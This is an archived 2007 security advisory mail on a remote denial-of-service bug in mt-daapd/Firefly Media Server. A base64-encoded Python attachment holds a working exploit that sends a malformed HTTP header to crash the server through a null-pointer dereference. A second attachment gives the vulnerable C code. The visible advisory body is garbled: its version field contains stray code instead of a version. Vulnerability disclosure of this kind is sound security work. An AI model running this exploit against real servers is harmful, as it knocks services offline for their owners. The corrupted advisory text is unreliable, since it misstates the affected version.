[UPH-07-01] Firefly Media Server DoS
------=_Part_3560_10274460.1194026106419
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
[UPH-07-01]
UnprotectedHex.com security advisory [07-01]
Discovered by nnp
Discovered : 1 August 2007
Reported to the vendor : 13 October 2007
Fixed by vendor : 21 October 2007
Vulnerability class : Remote DoS
Affected product : mt-dappd/Firefly Media Server
Version : threadno,first);
} else {
while(*last==' ')
last++;
Proof of concept code : Yes
- --
http://www.smashthestack.org
http://www.unprotectedhex.com
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.7 (Darwin)
Comment: http://firegpg.tuxfamily.org
iD8DBQFHK8XKbP10WPHfgnQRAsEaAKCaZBFsY7V3NO/Yzm1RBb5m5OzmjQCcD1RJ
U1c389rtN0anvvhpRJxBSEA=
=i5L8
-----END PGP SIGNATURE-----
------=_Part_3560_10274460.1194026106419
Content-Type: application/octet-stream; name=uph0701.py
Content-Transfer-Encoding: base64
X-Attachment-Id: f_f8jf37bs
Content-Disposition: attachment; filename=uph0701.py
IyFDOlxweXRob24yNVxweXRob24yNS5leGUNCg0KIiIiCkFkdmlzb3J5IDogW1VQSC0wNy0wMV0N
Cm10LWRhcHBkL0ZpcmVmbHkgbWVkaWEgc2VydmVyIHJlbW90ZSBEb1MKRGlzY292ZXJlZCBieSBu
bnAKaHR0cDovL3d3dy51bnByb3RlY3RlZGhleC5jb20NCiIiIg0KDQppbXBvcnQgc3lzDQppbXBv
cnQgc29ja2V0DQppbXBvcnQgdGltZQ0KDQppZiBsZW4oc3lzLmFyZ3YpICE9IDM6DQogICAgc3lz
LmV4aXQoLTEpDQoNCmtpbGxfbXNnID0gIiIiR0VUIC94bWwtcnBjP21ldGhvZD1zdGF0cyBIVFRQ
LzEuMVxyXG4gDQpJTlZBTElETElORVxyXG5cclxuIiIiDQoNCmhvc3QgPSBzeXMuYXJndlsxXQ0K
cG9ydCA9IHN5cy5hcmd2WzJdDQoNCnByaW50ICdbK10gSG9zdCA6ICcgKyBob3N0DQpwcmludCAn
WytdIFBvcnQgOiAnICsgcG9ydA0KDQpwcmludCAiWytdIFNlbmRpbmcgIg0KcHJpbnQga2lsbF9t
c2cNCg0KcyA9IHNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsIHNvY2tldC5TT0NLX1NUUkVB
TSkNCnMuY29ubmVjdCgoaG9zdCwgaW50KHBvcnQpKSkNCnMuc2VuZChraWxsX21zZykNCnMuY2xv
c2UoKQ0KDQoNCg==
------=_Part_3560_10274460.1194026106419
Content-Type: text/plain; name=uph0701.txt
Content-Transfer-Encoding: base64
X-Attachment-Id: f_f8jf44ex
Content-Disposition: attachment; filename=uph0701.txt
W1VQSC0wNy0wMV0KVW5wcm90ZWN0ZWRIZXguY29tIHNlY3VyaXR5IGFkdmlzb3J5IFswNy0wMV0K
RGlzY292ZXJlZCBieSBubnAKCkRpc2NvdmVyZWQgOiAxIEF1Z3VzdCAyMDA3ClJlcG9ydGVkIHRv
IHRoZSB2ZW5kb3IgOiAxMyBPY3RvYmVyIDIwMDcKRml4ZWQgYnkgdmVuZG9yIDogMjEgT2N0b2Jl
ciAyMDA3CgpWdWxuZXJhYmlsaXR5IGNsYXNzIDogUmVtb3RlIERvUwoKQWZmZWN0ZWQgcHJvZHVj
dCA6IG10LWRhcHBkL0ZpcmVmbHkgTWVkaWEgU2VydmVyClZlcnNpb24gOiA8PSAwLjIuNA0KUHJv
ZHVjdCBkZXRhaWxzOiAKd3d3LmZpcmVmbHltZWRpYXNlcnZlci5vcmcvIAonJycKVGhlIHB1cnBv
c2Ugb2YgdGhpcyBwcm9qZWN0IGlzIGJ1aWx0IHRoZSBiZXN0IHNlcnZlciBzb2Z0d2FyZSB0byBz
ZXJ2ZSBkaWdpdGFsIG11c2ljIHRvIHRoZSBSb2t1IFNvdW5kYnJpZGdlIGFuZCBpVHVuZXM7IHRv
IGJlIGFibGUgdG8gc2VydmUgdGhlIHdpZGVzdCB2YXJpZXR5IG9mIGRpZ2l0YWwgbXVzaWMgY29u
dGVudCBvdmVyIHRoZSB3aWRlc3QgcmFuZ2Ugb2YgZGV2aWNlcwonJycKDQpGaWxlL0Z1bmN0aW9u
L2xpbmUgOiB3ZWJzZXJ2ZXIuYy93c19nZXRoZWFkZXJzLzYzMQ0KDQpDYXVzZSA6IE51bGwgcG9p
bnRlciBkZXJlZmVyZW5jZS4gQW55IGhlYWRlciB0aGF0IGNvbnRhaW5zIGEgbGluZSAobm90IHRo
ZSBmaXJzdCBsaW5lKSB0aGF0IGRvZXMgbm90IGNvbnRhaW4gYSAnOicgd2lsbCByZXN1bHQgaW4g
YSBudWxsIHBvaW50ZXIgZGVyZWZlcmVuY2UgYXMgc3Ryc2VwKCZsYXN0LCAnOicpIHdpbGwgYXNz
aWduIE5VTEwgdG8gdGhlIHZhcmlhYmxlICdsYXN0JyBhbmQgdGhlIGNvZGUgdGhlbiBhdHRlbXB0
cyB0byBkZXJlZmVyZW5jZSAnbGFzdCcuCgogICAgc3Ryc2VwKCZsYXN0LCI6Iik7CgogICAgaWYo
bGFzdD09Zmlyc3QpIHsKICAgICAgICBEUFJJTlRGKEVfV0FSTixMX1dTLCJUaHJlYWQgJWQ6IElu
dmFsaWQgaGVhZGVyOiAlc1xuIiwKICAgICAgICAgICAgcHdzYy0+dGhyZWFkbm8sZmlyc3QpOwog
ICAgfSBlbHNlIHsKICAgICAgICB3aGlsZSgqbGFzdD09JyAnKQogICAgICAgICAgICBsYXN0Kys7
CgpQcm9vZiBvZiBjb25jZXB0IGNvZGUgOiBZZXMNCg0K
------=_Part_3560_10274460.1194026106419--
討論串 (同標題文章)